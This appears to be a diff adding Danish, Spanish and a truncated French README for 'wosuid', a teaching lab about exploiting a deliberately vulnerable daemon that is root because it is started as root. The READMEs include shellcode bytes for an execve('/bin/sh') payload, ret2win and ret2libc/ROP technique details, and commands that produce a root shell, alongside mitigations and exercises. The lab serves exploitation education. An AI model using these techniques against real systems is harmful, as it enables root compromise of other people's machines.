Det er det tredje laboratorium i serien. Samme exploit-værktøjskæde, samme
stil, én fundamental forskel:
| Laboratorium | hvordan target-processen bliver root | `uid=0(root)`-shell? |
|----------|------------------------------------------------|----------------------|
| food/fooc| aldrig — det er en almindelig user-daemon | nej |
| foosd/foosc | SUID-bitten (`chmod u+s`) — euid 0, ruid 1000 | ja (kræver `setreuid` i shellcoden, fordi bash nulstiller euid→ruid) |
| **foowosd/foowosc** | **ingen — root *starter* daemonen** (sudo / systemd `User=root`) | **ja (almindelig `execve`-shellcode)** |
Setuid-bitten er et *transportmiddel* for privilegier — ikke privilegierne
selv. En daemon startet af root har reelle, effektive og gemte uid alle lig 0.
For kernen er det root, punktum; den kan og vil ikke vide, om processen kom
derhen via `+s` på en fil eller via `sudo ./foowosd`. Overløbet i en
root-started daemon er altså et root-exploit — *"jeg har ingen
SUID-binærfiler" er ikke det samme som "jeg er ikke udnyttelig".*
Det er hele lektionen i dette laboratorium. Alt herunder er maskineriet.
---
## Hurtig start (hvad brugeren bad om)
```
cd wosuid
make # bygger daemonen, exploitet og test-harnessen
```
### Det ægte — kør daemonen som **root**
```
sudo make run-root # starter foowosd som uid 0 (proces, ikke filtilstand)
make test-root # hver teknik skal nu give uid=0(root)
```
### Ikke sudo? Den identiske kernel-sti via en user-namespace
```
make run-root-ns # uid 0 i en user-namespace — ingen adgangskode nødvendig
make test-root # samme domme; bruges af CI og alle uden sudo
```
### Baseline — daemon som din normale bruger (intet root nogen steder)
```
make run # foowosd kører med dine uider
make test # exploits lander shells, men `root` forventes MISSING
```
### Oprydningsritual (altid: dette er et root-shell-laboratorium)
```
make stop
```
`foowosd` er *ikke* setuid, og intet i dette bibliotek laver nogensinde
`chmod +s` — det er pointen. Den farlige tilstand er **processen**, ikke
filen.
---
## Når du bliver bedt om at sætte SUID-bitten
Det kommer du **ikke** til. Dette laboratorium har bevidst ingen SUID-bit:
- `foowosd` bygges, ejes og har almindelige tilstande som ethvert andet program.
- Det bliver root, som rigtige daemoner gør — ved at blive *startet* af root.
- `make run-root` bruger `sudo` til præcis det, og `make run-root-ns` får en
ægte uid-0-proces helt uden noget af det.
Suid-bitten tilhører *søster*-laboratoriet (`foosd`). Kontrasten mellem de to
er pensum:
1. SUID-laboratoriet: bitten giver **euid 0, men ruid 1000** →
`execve("/bin/sh")` nedgraderes af bashs vagt (`euid != ruid` → reset) →
shellcoden må først kalde `setreuid(0,0)` (32-byte-payload).
2. Dette laboratorium: root **starter** processen → **ruid == euid == 0** →
vagten har intet at nulstille → den almindelige 23-byte `execve`-shellcode
beholder root.
Samme overløb. Samme teknik. Forskellig *oprindelse* af privilegier, anderledes
payload-form. Det er lektionen i miniature.
---
## Protokollen
Uanset hvilken slags klient der forbinder, hilser foowosd på den med:
```
FOOWOSD 1.0 ids=0/0 leak stack=0x7ffd… libc=0x7f… (banneret + leaks)
BUF=0x7ffd… (bufferadressen)
```
`ids=euid/ruid` er *"er jeg root?"*-sidekanalen. foowosc printer en høj
advarsel, når euid ikke er 0 (dvs. du startede daemonen som en almindelig
bruger): payloaden lander stadig, men shellen bliver en bruger-shell, og at
kalde exploitet "i stykker" ville være forkert — det eskalerer bare ikke.
> Staveform-bemærkning: `ids=`, ikke `euid=`/`ruid=`. Test-harnessen beviser et
> levende `id` ved at matche den bogstavelige form `uid=NNN(`, så banneret må
> aldrig indeholde en delstreng, der selv opfylder tjekket. (I SUID-laboratoriet
> producerede præcis den fælde et spektakulært falsk positivt.)
---
## Exploit-teknikkerne (`foowosc -t …`)
Alle fire exploit-stier nedenfor virker mod foowosd. Når daemonen er root,
giver **alle, der spawner noget, root** — i modsætning til SUID-laboratoriet,
hvor ret2win/ret2libc stille og roligt blev nedgraderet til uid 1000 af bashs
vagt. Her er der intet mismatch at vogte mod.
| `-t` | hvad der sker | når daemonen er root |
|---------------|---------------------------------------------------------------------|---------------------|
| `shellcode` | 23-byte-`execve("/bin/sh", NULL, NULL)` kører på stacken. | **root-shell** (standard) |
| `ret2win` | hop til `win()` → `execl("/bin/sh")` | **root-shell** |
| `ret2libc` | ROP: `pop rdi; ret` → `"/bin/sh"` → `system()` | **root-shell** |
| `demo` | kun junk-overløb — forvent et SIGSEGV i daemon-loggen | nedbrud, efter design |
| `leak` | printer bare leaks, sender ingen payload | n/a |
```
./foowosc -t shellcode # interaktiv; standard-target 127.0.0.1:2344
./foowosc -t shellcode -n # send og rapporter, ingen interaktiv session
```
En vellykket interaktiv session videresender din terminal til shellen *på
offeret* — der er præcis én shell i billedet, og det er `/bin/sh`, der kører
som root inde i foowosd. Skriv `id` for at se `uid=0(root)`.
### Hvorfor der ikke er nogen `ret2win-root`-teknik her
foosc havde én — den hoppede til et `win_root()`, der kaldte `setreuid(0,0)`
før exec, fordi en setuid-proces kørte med en reelle uid, der stadig sagde
1000. En root-*startet* proces har den reelle uid allerede 0; der er intet at
rydde, så den ekstra funktion og teknik ville ikke lære noget. Fjernet.
---
## Hvad foowosc gør, trin for trin
1. **Statisk analyse** — `objdump -d` af `./foowosd`. Finder
`vulnerable_handler`, `win()`, det `lea -0x50(%rbp)`, der adresserer `buf`,
og det første nøgne `ret`. Ud fra forskydningen beregner det
`rip_off = 80 + 8 = 88`. Intet er hardkodet; det overlever en genbygning.
2. **Selv-introspektion** — læser sit eget `/proc/self/maps` og `dlsym()`er
`system`/`read` for at lære libc-*offsets*. Targetets libc-base er
`leaked_read − off_read`, derefter `system = base + off_system`, osv. Denne
delta-aritmetik er grunden til, at exploits overlever libc-versioner.
3. **Forbind** — læser banneret/leaks (`ids=`, `stack=`, `libc=`, `BUF=`).
4. **Byg payloaden** — for `shellcode`: 23 bytes maskinkode, padding til
`rip_off`, derefter den gemte RIP = `buf` (så `ret` hopper ind på koden). For
`ret2win`/`ret2libc`: adresser beregnet ud fra analysen — ingen udførelse af
stacken nødvendig.
5. **Justeringsfixen** — et kapret nøgent `ret` giver callee'en
`rsp ≡ 8 (mod 16)`, og glibcs SSE2-kode `movaps`-fault'er på en ikke-justeret
stack (crash-reporteren logger `si_addr=(nil)` — fingerpeget). foowosc
indsætter ét ekstra `ret`-gadget før det rigtige target og genopretter
invarianten. Silkehandsketeknik i et shellcode-laboratorium, men det er
forskellen mellem en payload, der "nogle gange virker", og en, der altid
virker.
6. **Send, derefter videresend** — offerprocessen *er* shellen; denne proces
splisser kun bytes. Ingen lokal shell, ingen anden læser — single-read-
cursor-fejlen (ét spist byte per chunk) er dokumenteret i `become_shell()`.
---
## Daemonens bevidste fejl (alle i `foowosd.c`, alle ægte CWE-klasser)
| # | fejl | CWE | note |
|---|-----|-----|------|
| 1 | `read(fd, buf, 512)` ind i et 64-byte stack-buffer | CWE-120 | overløbet: 448 bytes forbi `buf`, gemt RIP ved +88 |
| 2 | kun `snprintf(line, …, "%.*s", …)`; men angriber-`%` i echo-stien | CWE-134 | leaket er her den reelle payload; et `%n` i en *root*-proces ville være write-what-where som root |
| 3 | børn beholder root, mens de håndterer utroverdige inputs | CWE-271 | det korrekte `drop_privs()` (setgroups→setgid→setuid, i den rækkefølge, med verifikation) står i filen, kommenteret, *bevidst aldrig kaldt* |
| 4 | `ids=`, `stack=`, `libc=`, `BUF=` afsløret til enhver klient | CWE-200 | uden disse leaks kunne shellcode- og ret2libc-teknikkerne ikke beregne adresser (ASLR ville besejre dem) |
Handleren har præcis samme `buf[64]`/`read(512)`-form som de to andre
laboratorier, så den fælles objdump-baserede erkendelsespipeline virker
uændret.
---
## Sådan inspicerer du daemonen (læringssti)
```
make status # kører den? som hvilken uid? filtilsand vises
make run-root # eller run / run-root-ns
./foowosc -t leak # se banneret og leaks, send intet
./foowosc -t demo # junk-overløb -> SIGSEGV, logget med RIP/rsp
./foowosc -t shellcode # den interaktive root-shell
make test-root # fuld matrix, alle teknikker, --must-root
```
Crash-reporter: Ved SIGSEGV logger daemonen fejladressen, RIP og RSP. Et `ret`
ind i en ikke-kanonisk `0x4141…` fault'er ved `ret`-et selv (RIP som `0x4028xx`,
`si_addr=(nil)`) — værd at vide, før du fejllæser en loglinje som en
NULL-dereference.
---
## Hvorfor shellcoden er 23 bytes, ikke 32
```
31 f6 xor esi, esi ; argv = NULL
31 d2 xor edx, edx ; envp = NULL
48 bf 2f62696e2f736800 movabs rdi, "/bin/sh\0"
57 push rdi
48 89 e7 mov rdi, rsp
6a 3b push 0x3b ; 59 = execve
58 pop rax
0f 05 syscall
```
SUID-laboratoriet har brug for `setreuid(0,0)` foran dette. Dette
laboratorium ikke, af den grund der gentages overalt: **ruid er allerede 0**,
fordi root startede processen. `make verify` beviser, at bytes i `foowosc.c`
er byte-for-byte det, `shellcode.S` assemblerer til.
---
## Modforanstaltninger — hvad `make hardened` ændrer
Hærdet build (`-fstack-protector-strong -fPIE -pie -z noexecstack`):
| teknik | sårbar `foowosd` | hærdet `foowosd_hardened` |
|-----------|----------------------|------------------------------|
| `shellcode` | root-shell (eksekverbar stack) | SIGSEGV ved canary-tjekket / NX |
| `ret2win` / `ret2libc` | root-shell | canary abort'er `ret` — men bemærk: en *PIE*-build gør også disse adresser tilfældige |
| `demo` | SIGSEGV, logget | SIGSEGV, logget |
`make test-hardened` demonstrerer det live. Den vigtige observation er ikke
bare, at modforanstaltningerne dræbte teknikkerne — det er, at de **ikke**
gjorde daemonen til "ikke-root". En hærdet build, der stadig *startes* som
root, er stadig en root-daemon; modforanstaltningen hæver kun barren for
angriberen. Least privilege (`drop_privs()`) og hukommelsessikkerhed er to
forskellige fejl, og en daemon, der ikke behøver root, bør ikke have det.
---
## Sikkerhedsgelændere (samme politik som SUID-laboratoriet)
- **Kun loopback.** foowosd nægter at binde andet end `127.0.0.1` /
`localhost` / `::1`, medmindre du giver `-L`. En root-daemon på en rigtig
grænseflade er en *fjern* root-tjeneste. `-L` findes kun for at vise vagten;
brug den ikke på noget, der betyder noget.
- **Tilstanden logges højt.** Ved start printer den `ruid/euid` og om dette er
en root-proces, så du altid ved, hvilket exploit-resultat du skal forvente.
- **Domme kommer fra exit-status** i `make test*` (pty-harnessens
returkode), aldrig fra at greppe dens stdout — grebbart output lyver.
- **pty'en skal køre cooked + ECHO off**, ellers ekkoer harnessen sin egen
kommandolinje og forfalsker markøren. Harnessen slår ECHO fra og beholder
ECHONL på.
- **Oprydningsritual:** `make stop` efter hver session. Hvis daemonen er
root-ejet, siger `stop` dig at køre `sudo pkill -x foowosd`.
- Kør aldrig dette på en host, du holder af. Det findes for at uddele
`uid=0`-shells over loopback-grænsefladen.
---
## Øvelser
1. Kør `make run` (user-daemon), derefter `./foowosc -t shellcode`. Hvorfor er
shellen ikke root? (Tjek `ids=` i banneret — foowosc siger dig det, før du
overhovedet forbinder.)
2. `make stop && sudo make run-root && make test-root`. Forklar ud fra
bannerlinjen, hvorfor alle fire teknikker nu giver `uid=0(root)`.
3. Find i `foowosd.c` `drop_privs()` og læs, *hvorfor rækkefølgen* af
`setgroups → setgid → setuid` betyder noget. Beslut, hvor i `main()` den
ville høre hjemme, og hvad laboratoriets angrebsflade bliver, når den
faktisk kaldes.
4. Beregn `rip_off` i hånden ud fra `objdump -d foowosd`: find `buf`s
`lea -0xNN(%rbp)` inde i `vulnerable_handler`, derefter `NN + 8`. foowosc
gør præcis det; tjek dens regnestykke mod dit eget.
5. `make hardened && make test-hardened`. Hvilken teknik falder for canaryen,
og hvilken for NX? Hvorfor ændrer hærdning ikke, hvad `make status`
rapporterer om *processen*?
6. Sammenlign de to laboratoriers shellcodes: 23 bytes her, 32 for foosd. Hvad
gør de ekstra 9 bytes, og hvorfor behøves de kun i SUID-tilfældet?
7. Læs `become_shell()`s kommentar om den enkelte læse-cursor. Genskab
fiaskotilstanden mentalt: to læsere på én socket betyder, at login-shellen
æder ét byte per chunk — "uid=1000…" ankommer som "id=1000…". Hvorfor kan en
relay-proces aldrig have denne fejl?
---
## Filer
```
foowosd.c den sårbare root-daemon (hver linje kommenteret)
foowosc.c exploitet (hver linje kommenteret)
shellcode.S reference-assembly for 23-byte-payloaden
tests/pty_wosuid_test.c pty-harnessen (markør + strenge id-form-tjek)
Makefile build / run / run-root / run-root-ns / test /
test-root / verify / hardened / clean …
```
Søster-laboratorier: `../food.c`/`../fooc.c` (user-level-baseline, port 2342)
og `../suid/` (SUID-root-daemon `foosd`/`foosc`, port 2343). Portene er bevidst
forskellige — du kan køre alle tre på én gang og krydstjekke deres `ids=`-linjer
i banneret.

318
wosuid/README.ES.md Normal file
View file

@ -0,0 +1,318 @@
# El laboratorio `wosuid` — RCE root **sin** bit setuid
```
foowosd un demonio deliberadamente vulnerable que es root porque fue
*INICIADO* como root (puerto 2344, solo loopback por defecto)
foowosc el exploit: convierte un desbordamiento de pila en un **shell**
root ejecutando shellcode — los mismos 23 bytes que rompieron el
demonio user-level `food` del laboratorio principal
```
Este es el tercer laboratorio de la serie. La misma cadena de herramientas de
exploit, el mismo estilo, una diferencia fundamental:
| Laboratorio | cómo el proceso objetivo se vuelve root | ¿shell `uid=0(root)`? |
|----------|------------------------------------------------|----------------------|
| food/fooc | nunca — es un demonio de usuario normal | no |
| foosd/foosc | el bit SUID (`chmod u+s`) — euid 0, ruid 1000 | sí (exige `setreuid` en el shellcode, porque bash resetea euid→ruid) |
| **foowosd/foowosc** | **ninguno — root *inicia* el demonio** (sudo / systemd `User=root`) | **sí (shellcode `execve` normal)** |
El bit setuid es un *medio de transporte* de privilegios — no los privilegios
mismos. Un demonio iniciado por root tiene uids real, efectivo y guardado todos
iguales a 0. Para el kernel es root, punto; no puede ni quiere saber si el
proceso llegó ahí vía `+s` en un archivo o vía `sudo ./foowosd`. El
desbordamiento de un demonio iniciado por root es por tanto un exploit root —
*"no tengo binarios SUID" no es lo mismo que "no soy explotable".*
Esa es toda la lección de este laboratorio. Todo lo demás es el mecanismo.
---
## Inicio rápido (lo que pidió el usuario)
```
cd wosuid
make # compila el demonio, el exploit y el harness de prueba
```
### Lo auténtico — ejecuta el demonio como **root**
```
sudo make run-root # inicia foowosd como uid 0 (proceso, no estado de archivo)
make test-root # cada técnica debe dar ahora uid=0(root)
```
### ¿Sin sudo? El camino de kernel idéntico vía un user namespace
```
make run-root-ns # uid 0 en un user namespace — no se necesita contraseña
make test-root # los mismos veredictos; lo usa la CI y todo el que no tenga sudo
```
### Referencia — demonio como tu usuario normal (root en ninguna parte)
```
make run # foowosd corre con tus uids
make test # los exploits aterrizan shells, pero se espera que `root` sea MISSING
```
### Rito de limpieza (siempre: esto es un laboratorio de shell root)
```
make stop
```
`foowosd` *no* es setuid, y nada en este directorio hace nunca `chmod +s` —
ese es el punto. El estado peligroso es **el proceso**, no el archivo.
---
## Cuando te digan que pongas el bit SUID
No te lo van **a** decir. Este laboratorio no tiene deliberadamente ningún bit
SUID:
- `foowosd` se compila, te pertenece y tiene permisos normales como cualquier
otro programa.
- Se vuelve root como hacen los demonios reales — siendo *iniciado* por root.
- `make run-root` usa `sudo` para exactamente eso, y `make run-root-ns`
consigue un proceso uid 0 real sin nada de eso.
El bit Suid pertenece al laboratorio *hermano* (`foosd`). El contraste entre los
dos es el plan de estudios:
1. Laboratorio SUID: el bit da **euid 0, pero ruid 1000** → `execve("/bin/sh")`
es degradado por el guardián de bash (`euid != ruid` → reset) → el shellcode
debe llamar primero a `setreuid(0,0)` (payload de 32 bytes).
2. Este laboratorio: root **inicia** el proceso → **ruid == euid == 0** → el
guardián no tiene nada que resetear → el shellcode `execve` normal de 23
bytes conserva root.
El mismo desbordamiento. La misma técnica. *Origen* de privilegios diferente,
forma de payload distinta. Esa es la lección en miniatura.
---
## El protocolo
Sea cual sea el tipo de cliente que se conecta, foowosd lo saluda con:
```
FOOWOSD 1.0 ids=0/0 leak stack=0x7ffd… libc=0x7f… (el banner + las fugas)
BUF=0x7ffd… (la dirección del búfer)
```
`ids=euid/ruid` es el canal *"¿soy root?"*. foowosc imprime una advertencia
fuerte cuando euid no es 0 (es decir, iniciaste el demonio como usuario
normal): el payload sigue aterrizando, pero el shell se convierte en un shell
de usuario, y llamar al exploit "roto" sería falso — solo que no escala.
> Nota ortográfica: `ids=`, no `euid=`/`ruid=`. El harness de prueba prueba un
> `id` vivo haciendo match de la forma literal `uid=NNN(`, así que el banner
> nunca debe contener una subcadena que satisfaga ella misma la comprobación.
> (En el laboratorio SUID, exactamente esa trampa produjo un falso positivo
> espectacular.)
---
## Las técnicas de exploit (`foowosc -t …`)
Las cuatro rutas de exploit de abajo funcionan contra foowosd. Cuando el demonio
es root, **todo lo que hace spawn de algo da root** — a diferencia del
laboratorio SUID, donde ret2win/ret2libc eran degradados silenciosamente a uid
1000 por el guardián de bash. Aquí no hay desajuste que vigilar.
| `-t` | qué ocurre | cuando el demonio es root |
|---------------|---------------------------------------------------------------------|---------------------|
| `shellcode` | `execve("/bin/sh", NULL, NULL)` de 23 bytes corre en la pila. | **shell root** (por defecto) |
| `ret2win` | salto a `win()` → `execl("/bin/sh")` | **shell root** |
| `ret2libc` | ROP: `pop rdi; ret` → `"/bin/sh"` → `system()` | **shell root** |
| `demo` | solo desbordamiento de basura — espera un SIGSEGV en el log del demonio | crash, por diseño |
| `leak` | solo imprime fugas, no envía payload | n/a |
```
./foowosc -t shellcode # interactivo; objetivo por defecto 127.0.0.1:2344
./foowosc -t shellcode -n # enviar y reportar, sin sesión interactiva
```
Una sesión interactiva exitosa retransmite tu terminal al shell *en la víctima*
— hay exactamente un shell en el cuadro, y es `/bin/sh` corriendo como root
dentro de foowosd. Escribe `id` para ver `uid=0(root)`.
### Por qué no hay una técnica `ret2win-root` aquí
foosc tenía una — saltaba a un `win_root()` que llamaba a `setreuid(0,0)`
antes del exec, porque un proceso setuid corría con un uid real que todavía
decía 1000. Un proceso *iniciado* por root ya tiene el uid real en 0; no hay
nada que limpiar, así que la función y la técnica extra no enseñarían nada.
Eliminada.
---
## Qué hace foowosc, paso a paso
1. **Análisis estático** — `objdump -d` de `./foowosd`. Encuentra
`vulnerable_handler`, `win()`, el `lea -0x50(%rbp)` que direcciona `buf`, y
el primer `ret` desnudo. A partir del desplazamiento calcula
`rip_off = 80 + 8 = 88`. Nada está hardcodeado; sobrevive a una
recompilación.
2. **Auto-introspección** — lee su propio `/proc/self/maps` y hace `dlsym()` de
`system`/`read` para aprender los *offsets* de libc. La base libc del
objetivo es `leaked_read − off_read`, luego `system = base + off_system`,
etc. Esa aritmética de delta es la razón por la que los exploits sobreviven
a las versiones de libc.
3. **Conecta** — lee el banner/las fugas (`ids=`, `stack=`, `libc=`, `BUF=`).
4. **Construye el payload** — para `shellcode`: 23 bytes de código máquina,
basura hasta `rip_off`, luego la RIP guardada = `buf` (para que el `ret`
salte dentro del código). Para `ret2win`/`ret2libc`: direcciones calculadas
del análisis — no se necesita ejecución de pila.
5. **El fix de alineación** — un `ret` desnudo secuestrado da a la callee
`rsp ≡ 8 (mod 16)`, y el código SSE2 de glibc falla con `movaps` en una pila
mal alineada (el crash-reporter registra `si_addr=(nil)` — la pista).
foowosc inserta un gadget `ret` extra antes del objetivo real y restaura la
invariante. Una técnica de guante de seda en un laboratorio de shellcode,
pero es la diferencia entre un payload que "a veces funciona" y uno que
siempre funciona.
6. **Envía, luego retransmite** — el proceso víctima *es* el shell; este
proceso solo splissea bytes. Sin shell local, sin otro lector — el bug del
cursor de lectura único (un byte comido por trozo) está documentado en
`become_shell()`.
---
## Los errores deliberados del demonio (todos en `foowosd.c`, todas clases CWE reales)
| # | error | CWE | nota |
|---|-----|-----|------|
| 1 | `read(fd, buf, 512)` en un búfer de pila de 64 bytes | CWE-120 | el desbordamiento: 448 bytes más allá de `buf`, RIP guardada en +88 |
| 2 | solo `snprintf(line, …, "%.*s", …)`; pero `%` del atacante en el camino de eco | CWE-134 | la fuga es aquí el payload real; un `%n` en un proceso *root* sería write-what-where como root |
| 3 | los hijos conservan root mientras manejan entradas no confiables | CWE-271 | el `drop_privs()` correcto (setgroups→setgid→setuid, en ese orden, con verificación) está en el archivo, comentado, *deliberadamente nunca llamado* |
| 4 | `ids=`, `stack=`, `libc=`, `BUF=` revelados a cualquier cliente | CWE-200 | sin estas fugas, las técnicas de shellcode y ret2libc no podrían calcular direcciones (ASLR las vencería) |
El handler tiene exactamente la misma forma `buf[64]`/`read(512)` que los otros
dos laboratorios, así que el pipeline común de reconocimiento basado en objdump
funciona sin cambios.
---
## Cómo inspeccionar el demonio (camino de aprendizaje)
```
make status # ¿corre? ¿como qué uid? se muestra el estado del archivo
make run-root # o run / run-root-ns
./foowosc -t leak # mira el banner y las fugas, no envíes nada
./foowosc -t demo # desbordamiento de basura -> SIGSEGV, registrado con RIP/rsp
./foowosc -t shellcode # el shell root interactivo
make test-root # matriz completa, todas las técnicas, --must-root
```
Crash-reporter: En SIGSEGV, el demonio registra la dirección de error, RIP y
RSP. Un `ret` dentro de un `0x4141…` no canónico falla en el `ret` mismo (RIP
como `0x4028xx`, `si_addr=(nil)`) — bueno saberlo antes de leer mal una línea
de log como desreferencia NULL.
---
## Por qué el shellcode es de 23 bytes, no de 32
```
31 f6 xor esi, esi ; argv = NULL
31 d2 xor edx, edx ; envp = NULL
48 bf 2f62696e2f736800 movabs rdi, "/bin/sh\0"
57 push rdi
48 89 e7 mov rdi, rsp
6a 3b push 0x3b ; 59 = execve
58 pop rax
0f 05 syscall
```
El laboratorio SUID necesita `setreuid(0,0)` delante de esto. Este laboratorio
no, por la razón repetida en todas partes: **ruid ya es 0**, porque root inició
el proceso. `make verify` prueba que los bytes en `foowosc.c` son, byte a byte,
lo que `shellcode.S` ensambla.
---
## Mitigaciones — qué cambia `make hardened`
Build endurecida (`-fstack-protector-strong -fPIE -pie -z noexecstack`):
| técnica | `foowosd` vulnerable | `foowosd_hardened` endurecido |
|-----------|----------------------|------------------------------|
| `shellcode` | shell root (pila ejecutable) | SIGSEGV en la comprobación de canary / NX |
| `ret2win` / `ret2libc` | shell root | la canary aborta el `ret` — pero nota: una build *PIE* también vuelve aleatorias estas direcciones |
| `demo` | SIGSEGV, registrado | SIGSEGV, registrado |
`make test-hardened` lo demuestra en vivo. La observación importante no es solo
que las mitigaciones mataron las técnicas — es que **no** convirtieron al
demonio en "no-root". Una build endurecida que todavía se *inicia* como root
sigue siendo un demonio root; la mitigación solo sube el listón para el
atacante. Mínimo privilegio (`drop_privs()`) y seguridad de memoria son dos
errores distintos, y un demonio que no necesita root no debería tenerlo.
---
## Barandillas de seguridad (la misma política que el laboratorio SUID)
- **Solo loopback.** foowosd se niega a enlazarse a nada que no sea `127.0.0.1`
/ `localhost` / `::1`, salvo que des `-L`. Un demonio root en una interfaz
real es un *servicio root remoto*. `-L` existe solo para mostrar la
barandilla; no lo uses en algo que importe.
- **El estado se registra en voz alta.** Al arrancar imprime `ruid/euid` y si
esto es un proceso root, para que siempre sepas qué resultado de exploit
esperar.
- **Los veredictos vienen del código de salida** en `make test*` (el código de
retorno del harness pty), nunca de hacer grep de su stdout — la salida
grepable miente.
- **La pty debe correr en cooked + ECHO off**, si no, el harness ecoa su propia
línea de comandos y falsifica el marcador. El harness apaga ECHO y mantiene
ECHONL activo.
- **Rito de limpieza:** `make stop` después de cada sesión. Si el demonio es
propiedad de root, `stop` te dice que ejecutes `sudo pkill -x foowosd`.
- Nunca ejecutes esto en un host que te importe. Existe para repartir shells
`uid=0` por la interfaz loopback.
---
## Ejercicios
1. Ejecuta `make run` (demonio de usuario), luego `./foowosc -t shellcode`.
¿Por qué el shell no es root? (Comprueba `ids=` en el banner — foowosc te
lo dice antes de que siquiera te conectes.)
2. `make stop && sudo make run-root && make test-root`. Explica a partir de la
línea del banner por qué las cuatro técnicas dan ahora `uid=0(root)`.
3. Encuentra `drop_privs()` en `foowosd.c` y lee *por qué el orden* de
`setgroups → setgid → setuid` importa. Decide dónde en `main()` encajaría, y
qué se vuelve la superficie de ataque del laboratorio cuando de verdad se
llama.
4. Calcula `rip_off` a mano desde `objdump -d foowosd`: encuentra el
`lea -0xNN(%rbp)` de `buf` dentro de `vulnerable_handler`, luego `NN + 8`.
foowosc hace exactamente eso; comprueba su cálculo contra el tuyo.
5. `make hardened && make test-hardened`. ¿Qué técnica cae ante la canary, y
cuál ante NX? ¿Por qué el endurecimiento no cambia lo que `make status`
reporta sobre *el proceso*?
6. Compara los shellcodes de los dos laboratorios: 23 bytes aquí, 32 para
foosd. ¿Qué hacen los 9 bytes extra, y por qué solo se necesitan en el caso
SUID?
7. Lee el comentario de `become_shell()` sobre el cursor de lectura único.
Reconstruye mentalmente el estado de fallo: dos lectores en un socket
significa que el shell de login come un byte por trozo — "uid=1000…" llega
como "id=1000…". ¿Por qué un proceso relay no puede tener nunca este error?
---
## Archivos
```
foowosd.c el demonio root vulnerable (cada línea comentada)
foowosc.c el exploit (cada línea comentada)
shellcode.S el assembly de referencia para el payload de 23 bytes
tests/pty_wosuid_test.c el harness pty (marcador + comprobación estricta de forma id)
Makefile build / run / run-root / run-root-ns / test /
test-root / verify / hardened / clean …
```
Laboratorios hermanos: `../food.c`/`../fooc.c` (referencia user-level, puerto
2342) y `../suid/` (demonio root SUID `foosd`/`foosc`, puerto 2343). Los
puertos son deliberadamente distintos — puedes ejecutar los tres a la vez y
cruzar sus líneas `ids=` en el banner.

322
wosuid/README.FR.md Normal file
View file

@ -0,0 +1,322 @@
# Le lab `wosuid` — RCE root **sans** bit setuid
```
foowosd un démon volontairement vulnérable qui est root parce qu'il a été
*DÉMARRÉ* en tant que root (port 2344, loopback seulement par défaut)
foowosc l'exploit : transforme un débordement de pile en un **shell** root
en exécutant de la shellcode — les mêmes 23 octets qui ont cassé le
démon user-level `food` du lab principal
```
C'est le troisième lab de la série. Même chaîne d'outils d'exploit, même style,
une différence fondamentale :
| Lab | comment le processus cible devient root | shell `uid=0(root)` ? |
|----------|------------------------------------------------|----------------------|
| food/fooc | jamais — c'est un démon utilisateur ordinaire | non |
| foosd/foosc | le bit SUID (`chmod u+s`) — euid 0, ruid 1000 | oui (exige `setreuid` dans la shellcode, car bash réinitialise euid→ruid) |
| **foowosd/foowosc** | **aucun — root *démarre* le démon** (sudo / systemd `User=root`) | **oui (shellcode `execve` ordinaire)** |
Le bit setuid est un *moyen de transport* des privilèges — pas les privilèges
eux-mêmes. Un démon démarré par root a des uids réel, effectif et sauvegardé
tous égaux à 0. Pour le noyau, c'est root, point final ; il ne peut pas et ne
veut pas savoir si le processus y est arrivé via `+s` sur un fichier ou via
`sudo ./foowosd`. Le débordement d'un démon démarré par root est donc un exploit
root — *« je n'ai pas de binaires SUID » n'est pas la même chose que « je ne
suis pas exploitable ».*
C'est toute la leçon de ce lab. Tout ce qui suit, c'est le mécanisme.
---
## Démarrage rapide (ce que l'utilisateur a demandé)
```
cd wosuid
make # compile le démon, l'exploit et la harnesse de test
```
### Le vrai truc — exécutez le démon en tant que **root**
```
sudo make run-root # démarre foowosd en uid 0 (processus, pas état de fichier)
make test-root # chaque technique doit maintenant donner uid=0(root)
```
### Pas de sudo ? Le chemin noyau identique via un user namespace
```
make run-root-ns # uid 0 dans un user namespace — aucun mot de passe requis
make test-root # mêmes verdicts ; utilisé par la CI et tous ceux sans sudo
```
### Référence — démon comme votre utilisateur normal (root nulle part)
```
make run # foowosd tourne avec vos uids
make test # les exploits atterrissent des shells, mais `root` est attendu MISSING
```
### Rituel de nettoyage (toujours : c'est un lab de shell root)
```
make stop
```
`foowosd` n'est *pas* setuid, et rien dans ce répertoire ne fait jamais
`chmod +s` — c'est le but. L'état dangereux est **le processus**, pas le
fichier.
---
## Quand on vous dit de poser le bit SUID
Ça ne vous sera **pas** demandé. Ce lab n'a délibérément pas de bit SUID :
- `foowosd` est compilé, vous appartient et a des permissions ordinaires comme
n'importe quel programme.
- Il devient root comme les vrais démons — en étant *démarré* par root.
- `make run-root` utilise `sudo` pour exactement ça, et `make run-root-ns`
obtient un vrai processus uid 0 sans rien de tout cela.
Le bit Suid appartient au lab *frère* (`foosd`). Le contraste entre les deux
est le programme :
1. Lab SUID : le bit donne **euid 0, mais ruid 1000** → `execve("/bin/sh")`
est dégradé par le gardien de bash (`euid != ruid` → reset) → la shellcode
doit d'abord appeler `setreuid(0,0)` (payload de 32 octets).
2. Ce lab : root **démarre** le processus → **ruid == euid == 0** → le
gardien n'a rien à réinitialiser → la shellcode `execve` ordinaire de 23
octets garde root.
Même débordement. Même technique. *Origine* des privilèges différente, forme de
payload différente. C'est la leçon en miniature.
---
## Le protocole
Quel que soit le type de client qui se connecte, foowosd le salue avec :
```
FOOWOSD 1.0 ids=0/0 leak stack=0x7ffd… libc=0x7f… (le banner + les fuites)
BUF=0x7ffd… (l'adresse du tampon)
```
`ids=euid/ruid` est le canal *« suis-je root ? »*. foowosc affiche un
avertissement sonore quand euid n'est pas 0 (c'est-à-dire que vous avez démarré
le démon en utilisateur ordinaire) : la payload atterrit quand même, mais le
shell devient un shell utilisateur, et appeler l'exploit « cassé » serait faux —
il n'escalade juste pas.
> Note d'orthographe : `ids=`, pas `euid=`/`ruid=`. La harnesse de test prouve
> un `id` vivant en matchant la forme littérale `uid=NNN(`, donc le banner ne
> doit jamais contenir une sous-chaîne qui satisfait elle-même le contrôle.
> (Dans le lab SUID, exactement ce piège a produit un spectaculaire faux
> positif.)
---
## Les techniques d'exploit (`foowosc -t …`)
Les quatre chemins d'exploit ci-dessous fonctionnent contre foowosd. Quand le
démon est root, **tout ce qui spawn quelque chose donne root** — contrairement
au lab SUID où ret2win/ret2libc étaient silencieusement dégradés en uid 1000
par le gardien de bash. Ici, il n'y a pas de mismatch à surveiller.
| `-t` | ce qui se passe | quand le démon est root |
|---------------|---------------------------------------------------------------------|---------------------|
| `shellcode` | `execve("/bin/sh", NULL, NULL)` de 23 octets s'exécute sur la pile. | **shell root** (par défaut) |
